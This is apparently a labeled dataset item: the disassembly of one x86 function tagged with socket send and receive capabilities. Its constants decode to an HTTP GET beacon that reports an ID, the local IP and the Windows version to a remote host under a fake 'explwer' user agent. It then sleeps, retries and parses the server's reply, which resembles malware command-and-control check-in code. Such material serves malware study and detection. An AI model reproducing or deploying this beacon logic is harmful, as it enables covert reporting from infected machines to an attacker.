Function at 0x401c2c
Capabilities:
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x6bc
mov eax, dword [ebp + 0x18]
mov dword [ebp - 0x6ac], eax
mov edx, dword [ebp + 0x1c]
mov dword [ebp - 0x6b0], edx
lea ebx, [ebp - 0x198]
mov dword [esp + 8], 0xfa
mov dword [esp + 4], 0
mov dword [esp], ebx
call sub.msvcrt.dll_memset
mov dword [esp + 8], 0xfa
mov dword [esp + 4], 0
lea edi, [ebp - 0x298]
mov dword [esp], edi
call sub.msvcrt.dll_memset
mov eax, dword [ebp + 0xc]
mov dword [esp + 4], eax
mov dword [esp], ebx
call sub.msvcrt.dll_strcat
cld
mov ecx, 0xffffffff
mov edi, ebx
mov al, 0
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov dword [ecx + ebx], 0x3d64693f
mov byte [ecx + ebx + 4], 0
mov dword [esp + 4], 0xf
lea esi, [ebp - 0x6a8]
mov dword [esp], esi
call fcn.00405362
mov dword [esp + 4], esi
mov dword [esp], ebx
call sub.msvcrt.dll_strcat
mov edi, ebx
cld
mov ecx, 0xffffffff
mov al, 0
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov dword [ecx + ebx], 0x3d357326
mov dword [ecx + ebx + 4], 0x39353133
mov byte [ecx + ebx + 8], 0
mov ecx, 0xffffffff
mov edi, ebx
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov dword [ecx + ebx], 0x70696c26
mov word [ecx + ebx + 4], 0x3d
call fcn.00405316
mov dword [esp + 4], eax
mov dword [esp], ebx
call sub.msvcrt.dll_strcat
cld
mov ecx, 0xffffffff
mov edi, ebx
mov al, 0
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov dword [ecx + ebx], 0x6e697726
mov word [ecx + ebx + 4], 0x3d
call fcn.00405256
mov dword [esp + 4], eax
mov dword [esp], ebx
call sub.msvcrt.dll_strcat
lea edx, [ebp - 0x298]
cld
mov ecx, 0xffffffff
mov edi, edx
mov al, 0
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov dword [ecx + ebp - 0x298], 0x20544547
mov byte [ecx + ebp - 0x294], 0
mov dword [esp + 4], ebx
mov dword [esp], edx
call sub.msvcrt.dll_strcat
lea edx, [ebp - 0x298]
cld
mov ecx, 0xffffffff
mov edi, edx
mov al, 0
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov dword [ecx + ebp - 0x298], 0x54544820
mov dword [ecx + ebp - 0x294], 0x2e312f50
mov dword [ecx + ebp - 0x290], 0x480a0d31
mov dword [ecx + ebp - 0x28c], 0x3a74736f
mov word [ecx + ebp - 0x288], 0x20
mov eax, dword [ebp + 8]
mov dword [esp + 4], eax
mov dword [esp], edx
call sub.msvcrt.dll_strcat
lea edx, [ebp - 0x298]
cld
mov ecx, 0xffffffff
mov edi, edx
mov al, 0
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov word [ecx + ebp - 0x298], 0xa0d
mov byte [ecx + ebp - 0x296], 0
mov ecx, 0xffffffff
mov edi, edx
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov dword [ecx + ebp - 0x298], 0x72657355
mov dword [ecx + ebp - 0x294], 0x6567412d
mov dword [ecx + ebp - 0x290], 0x203a746e
mov byte [ecx + ebp - 0x28c], 0
mov ecx, 0xffffffff
mov edi, edx
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov dword [ecx + ebp - 0x298], 0x6c707865
mov dword [ecx + ebp - 0x294], 0x726577
mov ecx, 0xffffffff
mov edi, edx
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov dword [ecx + ebp - 0x298], 0xa0d0a0d
mov byte [ecx + ebp - 0x294], 0
jmp 0x401e8a
mov dword [esp], 0x7530
call sub.KERNEL32.DLL_Sleep
sub esp, 4
call fcn.00404f0a
test eax, eax
je 0x401e7b
mov dword [esp + 4], 0x50
mov eax, dword [ebp + 8]
mov dword [esp], eax
call fcn.00405434
mov esi, eax
mov edx, 0
cmp eax, 0xffffffff
je 0x4020ec
jmp 0x401eca
lea ebx, [ebx + ebp - 0x694]
mov dword [ebp - 0x6b4], ebx
jmp 0x401f78
lea edx, [ebp - 0x298]
mov edi, edx
cld
mov ecx, 0xffffffff
mov al, 0
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov dword [esp + 0xc], 0
mov dword [esp + 8], ecx
mov dword [esp + 4], edx
mov dword [esp], esi
call sub.WS2_32.DLL_send
sub esp, 0x10
lea edi, [ebp - 0x698]
jmp 0x401f13
mov byte [ebx + ebp - 0x698], 0
cmp ebx, 0xffffffff
je 0x4020e0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x400
mov dword [esp + 4], edi
mov dword [esp], esi
call sub.WS2_32.DLL_recv
sub esp, 0x10
mov ebx, eax
test eax, eax
jne 0x401f02
cmp byte [ebp - 0x698], 0
je 0x401f78
cmp byte [ebx + ebp - 0x698], 0xd
jne 0x401f6d
cmp byte [ebx + ebp - 0x697], 0xa
jne 0x401f6d
cmp byte [ebx + ebp - 0x696], 0xd
jne 0x401f6d
cmp byte [ebx + ebp - 0x695], 0xa
je 0x401eb8
inc ebx
cmp byte [ebx + ebp - 0x698], 0
jne 0x401f41
mov dword [esp + 4], 0x40e420
mov edx, dword [ebp - 0x6b4]
mov dword [esp], edx
call sub.msvcrt.dll_strtok
mov dword [ebp - 0x98], eax
mov ebx, 1
mov dword [esp + 4], 0x40e420
mov dword [esp], 0
call sub.msvcrt.dll_strtok
mov dword [ebp + ebx*4 - 0x98], eax
inc ebx
cmp ebx, 0x1f
jle 0x401f99
mov dword [esp], esi
call sub.WS2_32.DLL_closesocket
sub esp, 4
cmp dword [ebp + 0x14], 0
je 0x402020
mov eax, dword [ebp - 0x98]
mov dword [esp], eax
call sub.msvcrt.dll_atoi
mov edi, dword [ebp - 0x6ac]
mov dword [edi], eax
mov eax, dword [ebp - 0x94]
mov dword [esp], eax
call sub.msvcrt.dll_atoi
mov edx, dword [ebp - 0x6b0]
mov dword [edx], eax
mov edx, 0
cmp dword [edi], 0
je 0x4020ec
mov edi, dword [ebp - 0x6b0]
cmp dword [edi], 0
jne 0x402016
mov dword [edi], 0
mov edx, 1
jmp 0x4020ec
cmp dword [ebp + 0x20], 0
je 0x4020bd
lea eax, [ebp - 0x198]
mov dword [esp + 8], 0xfa
mov dword [esp + 4], 0
mov dword [esp], eax
call sub.msvcrt.dll_memset
mov eax, dword [ebp - 0x98]
mov dword [esp], eax
call sub.KERNEL32.DLL_lstrlenA
sub esp, 4
mov edx, 0
cmp eax, 1
jle 0x4020ec
mov edx, dword [ebp - 0x98]
mov edi, edx
cld
mov ecx, 0xffffffff
mov al, 0
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea eax, [ebp - 0x198]
mov dword [esp + 8], eax
mov dword [esp + 4], ecx
mov dword [esp], edx
call fcn.0040447c
mov edx, 0
test al, al
je 0x4020ec
mov eax, dword [ebp + 0x24]
mov dword [esp + 4], eax
lea eax, [ebp - 0x198]
mov dword [esp], eax
call sub.KERNEL32.DLL_lstrcmpA
sub esp, 8
test eax, eax
sete al
movzx edx, al
jmp 0x4020ec
mov eax, dword [ebp + 0x10]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x98]
mov dword [esp], eax
call sub.KERNEL32.DLL_lstrcmpA
sub esp, 8
mov edx, 1
test eax, eax
je 0x4020ec
jmp 0x4020e7
mov edx, 0
jmp 0x4020ec
mov edx, 0
mov eax, edx
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret